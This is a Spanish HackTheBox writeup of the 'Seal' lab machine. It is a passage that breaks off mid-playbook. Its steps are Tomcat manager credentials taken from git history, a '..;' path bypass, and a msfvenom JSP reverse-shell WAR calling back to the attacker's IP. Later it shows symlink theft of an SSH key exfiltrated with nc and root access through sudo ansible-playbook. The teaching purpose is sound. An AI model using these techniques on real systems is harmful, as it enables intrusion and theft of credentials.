HackTheBox - Seal
Creado
Máquina Linux nivel medio. Fuzzeo loco, repositorios (GitBucket) con commits aún más locos, movimientos sucios con Tomcat Manager, backups con -links- (?) yyyyy ejecución y creación de tareas automatizadas mediante playbooks de ansible ¿qué puede pasar?
TL;DR (Spanish writeup)
Creada por: MrR3boot.
Automatas.
Recorreremos con el servicio web del puerto 443 para comprar verduras :P finalmente encontraremos el servicio Tomcat
, fuzzearemos mucho más para saber que tomcat tiene activos tanto /manager
como /host-manager
.
Aprovecharemos otro servicio activo (puerto 8080) y jugaremos con GitBucket
, tendremos acceso al repositorio del sitio de “comprar verduras” y tooodos sus archivos, además de la configuración de tomcat, veremos que se han introducido cambios (viendo los commits
) y en uno de ellos veremos una contraseña en la configuración de tomcat
. Serán funcionales para acceder al apartado /manager
como el usuario tomcat
.
Estando dentro tendremos que causar algunos “errores” para bypassear las restricciones que nos pone la config del sitio, algo así como un path traversal. Jugaremos y jugaremos para subir un objeto .war
malicioso que al ser ejecutado nos envíe un Reverse Shell, de esta manera lograremos una sesión como el usuario tomcat
en el sistema.
Les dejo un script que hice automatizando la creación del objeto .war
(simulando que somos msfvenom) y con el cual obtenemos una Shell como el usuario tomcat
.
Ya dentro inspeccionaremos un archivo llamado run.yml
que esta realizando unas tareas, entre ellas un backup, aprovecharemos que una de las carpetas que esta siendo copiada en el proceso tiene permisos de escritura para crear un archivo que realmente sea un link simbólico contra un objeto del sistema, como resultado del backup lograremos acceder al sistema como luis
robando su llave privada SSH
.
Tendremos el permiso de ejecutar el binario /usr/bin/ansible-playbook
como cualquier usuario del sistema, lo usaremos para generar objeto .yml
con contenido juguetón y obtener RCE en la máquina como el usuario root
.
…
Clasificación de la máquina según la gentesita
Vulns conocidas (no del todo) y temitas reales.
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.
…
“Es cuestión de escuchar…”
- Reconocimiento.
- Enumeración.
- Explotación.
- Movimiento lateral - backups: tomcat -> luis.
- Escalada de privilegios.
…
Reconocimiento #
…
Enumeración de puertos con nmap 📌
Vamos a descubrir que puertos/servicios tiene abiertos externamente la máquina, para esto usaremos nmap
:
❱ nmap -p- --open -v 10.10.10.250 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para utilizar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Y obtenemos:
# Nmap 7.80 scan initiated Wed Aug 25 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.250
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.250 () Status: Up
Host: 10.10.10.250 () Ports: 22/open/tcp//ssh///, 443/open/tcp//https///, 8080/open/tcp//http-proxy///
# Nmap done at Wed Aug 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 83.03 seconds
Tres puertos:
Puerto | Descripción |
---|---|
22 | SSH: Podemos obtener una terminal de manera segura. |
443 | HTTPS: Servidor web con un certificado que “agrega” seguridad. |
8080 | HTTP-Proxy: Existe un “tunel web” por el cual pasan las peticiones de X a Y, el proxy actúa como intermediario. |
Ya conociendo que puertos hay, necesitamos obtener info de ellos, así que exploremos que versiones tiene cada uno y además que scripts (de tooooodos los que tiene nmap
) encuentran algo llamativo:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, de esta manera no tenemos que ir uno a uno
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.10.250
[*] Open ports: 22,443,8080
[*] Ports copied to clipboard
)~
❱ nmap -p 22,443,8080 -sC -sV 10.10.10.250 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y el escaneo nos devuelve:
# Nmap 7.80 scan initiated Wed Aug 25 25:25:25 2021 as: nmap -p 22,443,8080 -sC -sV -oN portScan 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 401 Unauthorized
| Date: Wed, 25 Aug 2021 16:17:17 GMT
| Set-Cookie: JSESSIONID=node01isb6ojilb3td14a1xa0czkeuh10857.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| GetRequest:
| HTTP/1.1 401 Unauthorized
| Date: Wed, 25 Aug 2021 16:17:17 GMT
| Set-Cookie: JSESSIONID=node0jq4x2uya6pii1bfu6tjhu7nbq10855.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Content-Length: 0
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Wed, 25 Aug 2021 16:17:17 GMT
| Set-Cookie: JSESSIONID=node07941mzij7xi91hvl9nt4ws6xa10856.node0; Path=/; HttpOnly
| Expires: Thu, 01 Jan 1970 00:00:00 GMT
| Content-Type: text/html;charset=utf-8
| Allow: GET,HEAD,POST,OPTIONS
| Content-Length: 0
| RPCCheck:
| HTTP/1.1 400 Illegal character OTEXT=0x80
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 71
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
| RTSPRequest:
| HTTP/1.1 505 Unknown Version
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 58
| Connection: close
| <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
| Socks4:
| HTTP/1.1 400 Illegal character CNTL=0x4
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
| <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
| Socks5:
| HTTP/1.1 400 Illegal character CNTL=0x5
| Content-Type: text/html;charset=iso-8859-1
| Content-Length: 69
| Connection: close
|_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=8/25%Time=61266D0B%P=x86_64-pc-linux-gnu%r(Ge
...
...
...
SF:0</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 25 25:25:25 2021 -- 1 IP address (1 host up) scanned in 33.10 seconds
Bien, cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 |
443 | HTTPS | nginx 1.18.0 |
- Vemos un dominio:
seal.htb
.
Pero nada más, juguemos con los servicios a ver por donde BOOOOOOOOM! (explotamos e.e)
…
Enumeración #
…
Puerto 443 📌
Antes de visitar la web, veamos más info del certificado (SSL/TLS) que contiene el servidor:
❱ openssl s_client -connect 10.10.10.250:443
Entre todo lo que destacamos es el dominio de antes peeero además:
Una dirección de correo, de ahí podemos extraer el usuario admin
y de nuevo el dominio seal.htb
.
…
Agreguemos el dominio seal.htb
al archivo /etc/hosts, para que al intentar visitar el dominio nos resuelva hacia su respectivo contenido hacia la dirección IP 10.10.10.250
:
❱ cat /etc/hosts
...
10.10.10.250 seal.htb
...
Y ahora en la web:
Una web muy linda, pero de la cual no podemos obtener nada que no tengamos ya, así que profundicemos…
Descubramos que objetos esta sirviendo el servidor web por detrás:
❱ dirsearch.py -u https://seal.htb/
...
Target: https://seal.htb/
[25:25:25] Starting:
[25:25:25] 302 - 0B - /js -> http://seal.htb/js/
[25:25:25] 400 - 804B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[25:25:25] 400 - 804B - /a%5c.aspx
[25:25:25] 302 - 0B - /admin -> http://seal.htb/admin/
[25:25:25] 302 - 0B - /css -> http://seal.htb/css/
[25:25:25] 403 - 564B - /host-manager/html
[25:25:25] 302 - 0B - /host-manager/ -> http://seal.htb/host-manager/html
[25:25:25] 302 - 0B - /icon -> http://seal.htb/icon/
[25:25:25] 302 - 0B - /images -> http://seal.htb/images/
[25:25:25] 200 - 19KB - /index.html
[25:25:25] 302 - 0B - /manager/ -> http://seal.htb/manager/html
[25:25:25] 403 - 564B - /manager/html/
[25:25:25] 401 - 2KB - /manager/status/all
[25:25:25] 302 - 0B - /manager -> http://seal.htb/manager/
[25:25:25] 403 - 564B - /manager/html
Algunos recursos descubiertos con el wordlist por default de dirsearch
, de todos el único llamativo (y que nos da una respuesta interesante) es /manager/status/all
:
Tenemos el login para acceder al manager de Tomcat
, pero como aún no tenemos credenciales, no logramos pasarlo.
🐈 Tomcat-Manager
permite realizar la administración de la instancia en ejecución: controlar las aplicaciones desplegadas (carga, descarga, despliegue y borrado), ver el estado de la instancia, las peticiones que sirven y con qué conector se realizan y el tiempo de procesamiento de cada aplicación. espaciocompartir.inap.es - Administración Tomcat (PDF).
Sabemos que el directorio /manager
existe y tiene contenido, pues veamos si hay algo más adentro tanto de manager/
como de manager/status/
:
❱ dirsearch.py -x 404 -u https://seal.htb/manager
...
[25:25:25] 200 - 19KB - /manager/..;/
...
[25:25:25] 401 - 2KB - /manager/status?full=true
[25:25:25] 401 - 2KB - /manager/status/
[25:25:25] 401 - 2KB - /manager/status
[09:36:19] 401 - 2KB - /manager/text
...
Contra /manager
seguimos obteniendo unos recursos a los que tendríamos acceso solo si tuviéramos credenciales (status code 401), sin embargo hay uno que nos devuelve un 200 OK
y el recurso tiene un nombre extraño, pero al intentarlo en la web nos devuelve al home de la página…
Enumerando /manager/status
volvemos a ver el recurso extraño solo que ahora existe un redireccionamiento:
❱ dirsearch.py -x 404 -u https://seal.htb/manager/status
...
[09:52:55] Starting:
[09:52:58] 302 - 0B - /manager/status/..;/ -> http://seal.htb/manager/html
...
Y si, al intentar conectarnos a https://seal.htb/manager/status/..;/
nos lleva a http://seal.htb/manager/html
.
El recurso /manager/html
es conocido en Tomcat
, ya que ahí se listan las aplicaciones montadas en el servidor y algunos detalles de ellas… 🤔 Eso me dio la idea de buscarlo de todas las maneras posibles, ya que si existe /manager
, debe existir /manager/html
.
Finalmente, al probar varias peticiones como:
https://seal.htb/manager/status/html
https://seal.htb/manager/status/..;/html
https://seal.htb/manager/hola/..;/html
Nos muestra el panel login hacia tomcat
. La última prueba es llamativa, ya que no le importa el directorio /hola
(que supongo no existe) y aun así nos pide las credenciales, pooooor lo que podemos intuir que estamos causando algún tipo de ¿error? ¿bypass quizás? O incluso un ¿path traversal? Oooo que simplemente nos pide las creds porque puede y dentro no hay nada :P, no lo sabemos, pero sabemos que podemos intuir cositas…
Es como que entra a /hola
, se sale del directorio al usar ..;
y vuelve a quedar en /manager
para después entrar a /html
, logrando así:
https://seal.htb/manager/hola/..;/html
redirect ahttps://seal.htb/manager/html
.
Bastante extraño… No obstante claro, tamos igual que antes, no tenemos credenciales y no hay más para ver por acá, movámonos al otro servicio.
Puerto 8080 📌
Vemos un servicio llamado GitBucket que según su propia descripción es una plataforma web basada en Git bastante intuitiva y sencilla de usar. Además nos recibe un nuevo login panel, peeero acá tenemos la posibilidad de crear una cuenta, hagámoslo…
Una vez dentro con nuestras credenciales, vemos:
Tenemos “visión” de los repos credos por root
(a la izquierda) y en el centro hay un histórico de los cambios que se han hecho en cada repo. Si nos fijamos, existe el repositorio del servicio web Seal Market
, el cual ya recorrimos, pues echémosle un ojo y detallemos con el otro:
Hay varias cositas interesantes:
- Un usuario llamado
alex
. - Existe un issue en el repo, ya veremos que hay.
- Vemos una lista de -tareas por hacer-:
- Habla sobre algo llamado
autenticacion mutua
. - Nos da a entender que hay cambios en los objetos de
tomcat
(por eso señale los commits). - Y que hay que deshabilitar tanto
manager
comohost-manager
(que los vimos antes).
- Habla sobre algo llamado
Veamos rápidamente el issue:
Vemos la interacción entre dos usuarios, alex
que ya lo conocíamos y uno nuevo: luis
, guardémoslo también por si algo.
Se sigue hablando del la autenticación mutua, les dejo este excelente post donde explica a detalle como funciona, esta muy bueno:
Antes de adentrarnos en temas locos, veamos que cambios se le hicieron a tomcat
, para esto nos podemos apoyar en los commits que se han creado, damos clic en “13 commits
” y:
Hay dos relacionados con tomcat
, el inicial donde se agregó toooda la config y el segundo que sería una actualización de algo, observemos ese -algo-:
Vemos que a luis se le había filtrado la configuración del usuario tomcat
, como la contraseña y los roles asignados, pero bueno como la quito ya no debe ser funcional ¿o si?
Si volvemos a la lista de cosas por hacer recordamos que aún no se ha hecho push (actualizado) el repo con las nuevas configuraciones, entoooooooooonces, las credenciales deberían ser válidas, chequera:
PEEEEEEEEEERFECTOOOOOOOOOO!! Tenemos acceso al manager
de tomcat (:
…
Explotación #
…
Jugamos con Tomcat Manager 📌
De nuevo hay varias cositas para detallar:
Servicio | Versión |
---|---|
Apache Tomcat | 9.0.31 |
JVM | 11.0.11 |
Linux | 5.4.0-77-generic |
Si exploramos y exploramos no encontramos nada relacionado con esas versiones :(
Acá recordé que una vez se tiene acceso al manager
de Tomcat, hay una opción para subir archivos .war
(
☕ Es un archivo JAR
(tipo de archivo que contiene una aplicación escrita en Java) utilizado para distribuir una colección de JavaServer Pages, servlets, clases Java, archivos XML, bibliotecas de tags y páginas web estáticas (HTML y archivos relacionados) que juntos constituyen una aplicación web. Wikipedia.
Basicamente es un objeto comprimido que dentro contiene los archivos a ser ejecutados :P
), pero claro, la idea detrás de esto es generar ese objeto war
, pero con contenido malicioso, para que cuando sea desplegado se ejecute ese contenido.
Lo primero será generar el objeto war
malicioso, usaremos msfvenom
, pero tomaremos el objeto .war
resultante y veremos sus archivos, así explicamos como seria crear el objeto war
manualmente: (debemos tener en cuenta algunas cositas (por no tenerlas en cuenta casi me desmayo del desespero :P))
Creamos el archivo con msfvenom
:
Le pasamos el payload
jsp_shell_reverse_tcp
(al estar trabajando con Java) para que una vez sea ejecutado nos envíe una Reverse Shell al puerto4433
de nuestro sistema.
❱ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.93 LPORT=4433 -f war > warrafa.war
Si vemos que tipo de archivo es el objeto .war
(y si leemos el post de arriba) sabemos que simplemente es un .zip
(comprimido) pero con otra extensión:
❱ file warrafa.war
warrafa.war: Zip archive data, at least v2.0 to extract
Lo descomprimimos:
❱ unzip warrafa.war
Archive: warrafa.war
creating: WEB-INF/
inflating: WEB-INF/web.xml
inflating: lcpzixabzti.jsp
Bien, si vemos el archivo lcpzixabzti.jsp
, nos damos cuenta de que contiene lo que ejecutara la web, en este caso una reverse Shell (que fue lo que le indicamos a msfvenom):
Por lo que si quisiéramos podríamos cambiar su contenido, su nombre, todo, toooooodo dentro y fuera del objeto .jsp
, lo que sea que tenga será lo que se ejecutara al desplegar el .war
.
En su momento jugué con estas dos reverse Shell:
- https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp.
- https://gist.github.com/maugern/0845b64730a2c606ec726e48902c3308.
Listones, sigamos…
Los problemas pueden aparecer si jugamos equívocamente con el archivo web.xml
(o a mí me paso y casi muero mentalmente):
Si quieren interactuar con los tags tienen que hacerlo de la manera correcta (y que tengan que ver con implementar un archivo .jsp
), así evitan errores, algunos ejemplos:
Entonces, dentro del objeto .xml
llamamos a nuestro archivo .jsp
, así el aplicativo entiende que debe ejecutar.
Ya teniendo los archivos (WEB-INF/
, WEB-INF/web.xml
y <archivo>.jsp
), lo que hace msfvenom
es comprimirlos, podría ser así:
❱ zip warrafa.zip -9 -r ./
adding: lcpzixabzti.jsp (deflated 61%)
adding: WEB-INF/ (stored 0%)
adding: WEB-INF/web.xml (deflated 29%)
Y ahora simplemente le cambia el nombre:
❱ mv warrafa.zip warrafa.war
Y ese es el archivo que obtenemos cuando generamos el archivo .war
con msfvenom
(:
Ya conocemos como se hace manualmente el proceso (es muuuuuuuy sencillo), sigamos…
…
Lo siguiente es posicionarnos en el apartado que nos permite subir archivos .war
, o sea en /manager/html
, pero:
F…
Volviendo a nuestra enumeración teníamos un recurso extraño que causaba cosas locas: /..;
, antes ya habíamos descubierto algo, probémoslo:
https://seal.htb/manager/..;/html //error
https://seal.htb/manager/hola/..;/html
Vemos las aplicaciones hosteadas actualmente (: Si bajamos un poquito:
Listones, encontramos la opción para subir objetos .war
, nos enfocaremos en WAR file to deploy. Damos clic en Browse
y buscamos el archivo war que creamos:
Y finalmente damos clic en Deploy
:
:O Nos da un error, peeeeeeero si haz estado atento ya viste la razón :P
Intenta ir a la URL:
https://seal.htb/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=<ACÁ_VA_UN_TOKEN_RANDOM_DE_SESIÓN_ASDF>
Pero según lo que hemos trabajo, la URL debería ser:
https://seal.htb/manager/<loquesea>/..;/html/upload?org.apache.catalina.filters.CSRF_NONCE=<ACÁ_VA_UN_TOKEN_RANDOM_DE_SESIÓN_ASDF>
Para que encuentre realmente el recurso, así que podemos apoyarnos de BurpSuite
para modificar la URL antes de enviar la petición:
(Abrimos Burp, activamos proxy tanto en la web como en Burp y volvemos a subir el archivo `.war)
Les recomiendo hacer este paso en una sesion incognita así no les toma las cookies que tengan del otro sitio, o no se si es que solo a mi me genero bastantes problemas y no veia el archivo subiendose.
La petición original sería esta:
Debemos modificarla a:
Enviamos la petición (forward
) yyyyy en la respuesta:
Hemos subido nuestro archivo correctamenteeeeeeeeeeeeeeeeeeeeeee!! Ahora simplemente quedaría ejecutarlo:
Nos ponemos en escucha por el puerto 4433
: nc -lvp 4433
y en la web damos clic a warrafa
o generamos una petición contra:
https://seal.htb/warrafa/
Liiiistos, tenemos nuestra Reverse Shell como el usuario tomcat
(: realicemos tratamiento de la TTY para poder ejecutar CTRL+C
, tener histórico de comandos y poder movernos entre ellos:
…
💥 He creado un script que casi me deja loco, en él automatizamos la creación del archivo .jsp
, web.xml
y el .zip
, todo esto para obtener una Reverse Shell desde el propio script sin usar msfvenom
.
La verdad me gusto demasiado como quedo, ahí se los dejo :P
…
backups : tomcat -> luis #
Existen 2 usuarios con acceso a una Shell:
tomcat@seal:/$ cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
luis:x:1000:1000:,,,:/home/luis:/bin/bash
Enumerando las carpetas del sistema, caemos en /opt/backups
:
tomcat@seal:/opt/backups$ ls -la
total 16
drwxr-xr-x 4 luis luis 4096 Aug 26 21:08 .
drwxr-xr-x 3 root root 4096 May 7 09:26 ..
drwxrwxr-x 2 luis luis 4096 Aug 26 21:08 archives
drwxrwxr-x 2 luis luis 4096 May 7 09:26 playbook
Dentro de playbook
hay un objeto llamado run.yml
:
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup--.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
Es un objeto sencillo de leer, hay 3 tareas:
-
1 - Copia archivos.
Lo que hace es una sincronización del directorio
/var/lib/tomcat9/webapps/ROOT/admin/dashboard
con el directorio/opt/backups/files
.(Algo importante es que copia los -links-, que serian los **links simbólicos que existan en cada objeto.**)
-
2 - Genera un backup.
Toma los objetos de la ruta
/opt/backups/files/
y los comprime en un solo.gz
(gzip) alojado en/opt/backups/archives/backup-<fecha>-<hora>.gz
. -
3 - Borrado de archivos.
Sencillamente borra la carpeta
/opt/backups/files/
y todo su contenido.
…
En el paso 1
hay una instrucción muy juguetona, ya que esta copiando el contenido de toooooodo el directorio /dashboard
sobre el directorio /opt/backups/files
yyyyy también copia los links de los objetos, con lo que podríamos crear un link simbólico a cualquier objeto del sistema, entonces leería nuestro archivo, peeero realmente el contenido sería el del objeto del sistema al que hace referencia :O
Lo malo es que no sabemos si debamos interactuar con este objeto o si sea parte del priv-esc (o de ninguna parte :P), ya que no tenemos posibilidad de ejecutarlo…
Dando unas vueltas vemos esto al listar los procesos del sistema:
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ps fauxxx
...
root ... \_ /usr/sbin/CRON -f
root ... \_ /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
root ... \_ sleep 30
...
Opaaa, el usuario root
tiene una tarea automatizada, esta ejecuta como el usuario luis
el binario /usr/bin/ansible-playbook
sobre el recurso que vimos antes: /opt/backups/playbook/run.yml
. La tarea es lanzada cada 30 segundos (sleep 30
).
Pues ahora si toma sentido el backup y la idea de crear un link simbólico, profundicemos…
…
La idea del link simbólico es fácil, peeeeeero antes de emocionarnos, veamos si tenemos permisos de escritura sobre algún objeto de /dashboard
, y si no, pos F:
Y sí, podemos escribir cositas en /uploads
, pues juguemos con símbolos:
Primero generamos un archivo normalito:
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ touch hola.txt
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la
total 8
drwxrwxrwx 2 root root 4096 Aug 26 22:10 .
drwxr-xr-x 7 root root 4096 May 7 09:26 ..
-rw-r----- 1 tomcat tomcat 0 Aug 26 22:10 hola.txt
Sabemos que el que esta ejecutando el binario y el archivo run.yml
es luis
, pues intentemos leer su id_rsa
(que no sabemos si exista (existe el directorio .ssh
) peeeero por probar):
Leemos la
id_rsa
(llave privada) para en caso de que exista, autenticarnos con ella al sistema usando SSH sin necesidad de una contraseña.
Entonces, le indicamos al sistema que tome hola.txt
como un link simbólico hacia el archivo /home/luis/.ssh/id_rsa
.
Lo que hará el sistema al leer el archivo hola.txt
será decir, “ahh, realmente este objeto esta tomando el contenido de .../id_rsa
”, así que en el “backup” que hace la tarea, nos estaríamos copiando la llave privada del usuario luis
.
Hacemos el enlace:
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ln -sf /home/luis/.ssh/id_rsa hola.txt
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ ls -la
total 8
drwxrwxrwx 2 root root 4096 Aug 26 22:09 .
drwxr-xr-x 7 root root 4096 May 7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat 22 Aug 26 22:09 hola.txt -> /home/luis/.ssh/id_rsa
Listones, ahí se ve la referencia de la que hablamos, al hacer cat hola.txt
estaríamos haciendo cat /home/luis/.ssh/id_rsa
:
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads$ cat hola.txt
cat: hola.txt: Permission denied
Perfesasdlfkjto. Ahooooora, solo es cuestión de esperar y validar el directorio /opt/archives
en búsqueda del nuevo comprimido:
⏰
tomcat@seal:/opt/backups/archives$ ls -la
total 1196
drwxrwxr-x 2 luis luis 4096 Aug 26 22:36 .
drwxr-xr-x 4 luis luis 4096 Aug 26 22:36 ..
-rw-rw-r-- 1 luis luis 608920 Aug 26 22:36 backup-2021-08-26-22:36:33.gz
Ya se creó el comprimido, movámoslo a nuestro sistema y lo descomprimimos…
Lo movemos:
❱ nc -lvp 4435 > backup.gz
tomcat@seal:/opt/backups/archives$ nc -w 5 10.10.14.93 4435 < backup-2021-08-26-22\:36\:33.gz
Lo descomprimimos:
❱ gzip -d backup.gz
❱ ls
backup
Leyendo y leyendo encontramos estoooooooooooooo:
❱ strings backup
...
28 mtime=1620367850.0521452
dashboard/uploads/hola.txt
0000600
...
Tenemos la llave privada de luis
, la tomamos, la guardamos en un archivo, le damos los permisos necesarios y con ayuda de SSH
hacemos:
❱ chmod 700 luis.id_rsa
❱ ssh luis@10.10.10.250 -i luis.id_rsa
Yyyyyyyyyyyyy:
Tamos dentro del sistema como el usuario luis
.
…
Escalada de privilegios #
Revisando los permisos que tenemos contra otros usuarios vemos:
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
Podemos ejecutar el binario /usr/bin/ansible-playbook
como cualqueir usuario del sistema 🧐 busquemos de que se trata y para que sirve…
Ansible
es una plataforma para administrar ordenadores, que junto a los playbooks automatizan las tareas llevadas a cabo sobre un host.
✔️ Ansible playbooks
are lists of tasks that automatically execute against hosts. Each module within an Ansible playbook performs a specific task. Each module contains metadata that determines when and where a task is executed, as well as which user executes it. redhat
- Ansible Tutorial for Beginners: Playbook, Commands & Example.
- Ansible - Playbooks.
- What is difference between running the commands ansible and ansible-playbook.
Leyendo vemos que los playbooks estan escritos en formato YAML (.yml
), esto para hacerlos de facil lectura y sencillos de usar.
Si recordamos el objeto run.yml
es un playbook, ya que dentro tiene varias tareas a ejecutar sobre el sistema, por lo que podriamos ejecutarlo como el usuario root
:
luis@seal:/opt/backups/playbook$ sudo /usr/bin/ansible-playbook run.yml
Y el backup se crearia como el usuario root
:
luis@seal:/opt/backups/playbook$ ls -la /opt/backups/archives/
total 2376
drwxrwxr-x 2 luis luis 4096 Aug 27 04:51 .
drwxr-xr-x 4 luis luis 4096 Aug 27 04:51 ..
-rw-r--r-- 1 root root 605952 Aug 27 04:51 backup-2021-08-27-04:51:58.gz
Con esto en mente, podemos pensar en dos vectores de ataque:
- Hacer el mismo paso que hicimos con
tomcat
para obtener laid_rsa
deluis
, solo que ahora seria para obtener la del usuarioroot
. - Crear un playbook con contenido jugoso que sea ejecutado en el sistema, veamos esta opción…
Generamos playbook juguetón 📌
Podemos quedarnos con la base del objeto run.yml
para empezar a generar nuestro archivo YAML
.
Buscando ejemplos en internet que ejecuten instrucciones en el sistema, llegamos a este objeto:
En una de las tareas usa la etiqueta action
para ejecutar comandos:
Pues muy sencillo, como prueba inicial digamosle a la tarea que nos ejecute el comando id
y su resultado lo guarde en un archivo, si todo va bien, confirmamos que nuestro playbook esta funcionando y que tenemos RCE como el usuario root
sobre el sistema.
Nuestro objeto run.yml
nos quedaria así:
luis@seal:/tmp/tessst$ cat run.yml
- hosts: localhost
tasks:
- name: Rompiendo cositas rompedoras
action: shell id > /tmp/tessst/id.txt
Ejecutamos el binario contra el archivo:
luis@seal:/tmp/tessst$ sudo /usr/bin/ansible-playbook run.yml
Lii ii i i i isssto, nuestra instruccion se ejecuta correctamente y vemos el objeto id.txt
con el id
del usuario root. Por lo tanto ya podriamos ejecutar lo que quisieramoooooooooooos.
…
Consigamos una Shell como el usuario root
.
Hay varias maneras, pero esta vez lo haremos jugando con las llaves SSH del usuario root
, primero validemos si existe el directorio .ssh
y si tiene contenido:
- hosts: localhost
tasks:
- name: Rompiendo cositas rompedoras
action: shell find /root > /tmp/tessst/root_dir
Ejecutamos el binario contra el archivo y como resultado en el archivo root_dir
vemos:
No existe, así que tendremos que crearlo, no es problema (:
La idea del “ataque” es agregar nuestra llave pública al archivo /root/.ssh/authorized_keys
para que cuando intentemos conectarnos por SSH como el usuario root
, el sistema interprete que nosotros (los dueños de una de las llaves públicas autorizadas para ingresar) tenemos acceso a la máquina sin proporcionar contraseña.
El “¿cómo?” el sistema permite la autenticación simplemente usando llaves no lo profundizaré, ya que nos vamos del writeup, pero les dejo algunos recursos que lo explican:
Basicamente valida tu llave privada (la que tienes en el sistema) y si criptograficamente hace match con la llave publica alojada en las “llaves permitidas”, pues sencillamente te otorga el acceso.
Entonces, primero debemos generar nuestro par de llaves, obtendremos la privada y la publica, el comando básico es:
❱ ssh-keygen
Y ya tendríamos:
❱ ls /home/jntx/.ssh/
authorized_keys id_rsa id_rsa.pub known_hosts
Nos quedamos con el archivo id_rsa.pub
, lo abrimos (o lo que sea que hagas :P) y copiamos su contenido en la clipboard.
Lo siguiente será darle formato a nuestro objeto .yml
creando la carpeta .ssh
y agregando la llave pública al archivo authorized_keys
(además de validar que todo se creó correctamente):
- hosts: localhost
tasks:
- name: Carpeta SSH usuario root
action: shell mkdir /root/.ssh
- name: Llave publica archivo authorized_keys
